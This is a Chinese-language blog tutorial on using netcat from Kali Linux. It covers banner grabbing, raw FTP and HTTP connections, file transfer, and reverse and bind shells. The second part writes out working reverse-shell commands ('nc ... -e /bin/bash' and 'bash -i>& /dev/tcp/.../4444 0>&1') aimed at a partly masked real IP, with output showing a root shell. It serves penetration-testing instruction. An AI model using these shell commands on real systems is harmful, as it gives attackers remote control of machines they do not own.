Kali Linux Netcat 學習 與 網路攻擊

Rocky_Ansi發表於2017-05-28

Netcat 網路攻擊 以及 應用

1.用Netcat進行黑客攻擊第1部分:基礎知識

Netcat是一個很好的網路實用程式,用於使用TCP和UPD協議讀取和寫入網路連線。Netcat通常被稱為網路工具中的瑞士軍刀,我們將在使用黑客教程的不同教程中大量使用它。Netcat最常見的用途是設定反向和繫結shell,管道和重定向網路流量,埠偵聽,除錯程式和指令碼以及Banner抓取。在本教程中,我們將學習如何使用Netcat的基本功能,如:
Banner抓取 原始連線 Web伺服器互動

1.1 Netcat Banner獲取

使用以下命令來獲取伺服器Banner(與服務建立原始連線):

nc [ip address] [port]
我們來試試這個在21埠執行的Metasploitable 2上的FTP服務:

nc 192.168.1.100 21
nc [ip] [port]用於與埠進行原始連線,當可用時將返回伺服器Banner。
code:
 rocky@kail: nc 23.105.202.xx 21   # 21 ftp 控制連結
 220 (vsFTPd 2.2.2)       # 系統服務 banner

1.2 Netcat原連線

為了演示原始連線的工作原理,我們將在FTP服務連線到目標主機後發出一些FTP命令。
在匿名的情況下,我們來看看這個FTP伺服器是否允許匿名訪問,通過USER和PASS命令。
code:
    rocky@kail: nc 23.105.202.xx 21
    220 (vsFTPd 2.2.2)
    user ligang
    331 Please specify the password.

1.3 Web伺服器互動

Netcat還可以通過發出HTTP請求與Web伺服器進行互動。
通過以下命令,我們可以抓住在Metasploitable 2上執行的Web服務的Banner:

nc 23.105.202.xx 80

然後執行此HTTP請求:

HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0          << 輸入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

1.4 使用Netcat進行檔案傳輸

在這個例子中,我們將使用Netcat連線傳輸一個文字檔案。假設我們在目標主機上執行遠端命令,我們希望將檔案從攻擊主機傳輸到目標主機。首先,我們需要在目標主機上設定一個偵聽器,並從攻擊主機連線到它。我們將使用埠8080用於此目的,我們將該檔案安全儲存到桌面:

nc -lvp 8080> 1.txt

在攻擊主機上,我們連線到8080埠併傳送檔名稱transfer.txt:

nc 192.168.100.107 8080 < 1.txt

2 用Netcat進行黑客攻擊第2部分:繫結和反向shell

Netcat反向reverse shell

在滲透測試中,最常見,或者最受歡迎的用法是反向 reverse shell和正向bind shell。反向shell是從目標主機發起到處於監聽狀態的攻擊機器的shell連線方式,又叫被動連線,而正向bind shell是攻擊主機通過特定的埠進行偵聽目標主機即將到來的連線。在惡意軟體中,bind shell又通常被稱為後門。

在下面的內容中我們將展示使用bind shell和reverse shell。下面將使用4444埠,但請注意,這可以是任何開放埠。實際上,通常您需要使用更常見的埠,如80和443來設定反向shell,因為這些埠是更常見的開啟。

NC reverse shell 工作原理:
NC reverse shel

攻擊主機A執行:
    nc -lvp 4444        ; 監聽被攻擊者連結
被攻擊主機B執行:
    nc  xxx.xxx.xxx.xxx  4444 -e /bin/bash ; 將bash shell 許可權提供給攻擊者 實現控制許可權的轉移;

實現通訊後:

在攻擊主機A上執行命令,即可操作被攻擊者B

缺點:
此時被攻擊者B 需要使用Netcat命令, 而且普通 GNU Linux nc 並沒有 -e { -e filename program to exec after connect [dangerous]} 引數; 顧此種反向連結並不適用;

2.1 使用Bash 來代替Nc實現反向連結;

被攻擊主機B:
    bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻擊者A:
    nc -lvp 4444
A機程式碼:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835      ## 此時B機執行轉移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
    bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 

命令解釋:
    bash:
        -i  if the -i option is present, the shell is interactive
    
    shell:
        0/1/2 分別代表Linux標準輸入,輸出,異常 即 C程式設計中的 stdin, stdout, stderr
    
    0>&1   指 將標準輸入完全輸出到標準輸出中; 
        採用&可以將 0/1 繫結在一起。這條命令的作用標準輸入將和標準輸出同用一個檔案描述符,說人話就是錯誤輸入將會和標準輸出輸出到同一個地方。
    

2.2 Netcat正向bind Shell

bind shell是一個繫結到目標主機上的特定埠以監聽即將到來的連線的shell。我們來看看一個Netcat正向bind shell的原理:

Nc Bind Shell

攻擊主機A:
    rocky@mac: nc 192.168.1.9 4444
    
    id
    uid=0(root) gid=0(root) groups=0(root)
    
    
    echo $HOSTNAME
    kailvirtual

相同點:
我們都需要被攻擊者將其shell控制許可權交給我們
將shell command 以資料流的形式重定向到被攻擊主機的Bash shell中;

更多Nc 學習參照連結

相關文章